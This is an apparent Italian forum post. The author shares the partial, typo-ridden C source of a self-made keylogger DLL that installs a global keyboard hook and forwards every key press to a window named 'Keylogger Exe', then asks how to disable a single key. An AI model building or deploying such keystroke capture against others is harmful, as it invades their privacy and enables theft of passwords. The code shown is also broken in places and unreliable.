Ciao. Ho creato un piccolo key log composto da un dll e da un exe. Il dll č formato da 3 funzioni che sn:
void installhook(HWND h)
{
hook = NULL;
hwnd = h;
hook = SetWindowsHookEx(WH_KEYBOARD,hookproc,hi
nstance,NULL);
}
void removehook()
{
UnhookWindowsHookEx(hook);
}
LRESULT CALLBACK hookproc(int ncode,WPARAM wparam,LPARAM lparam)
{
if(ncode>=0)
{
if((lparam & 0x80000000) == 0x00000000)
{
hwnd = FindWindow("#32770","Keylogger Exe"); PostMessag(hwnd,WM_USER+755,wparam,lpara
m); }
}
return ( CallNextHookEx(hook,ncode,wparam,lparam)
);
}
}
In questo modo salva tutti i tasti premuti in un file txt. Ora volevo chiedervi come posso disabilitare un tasto della tastiera?? Credo bisogni modificare la funz hookproc ma nn so come
Grazie ciao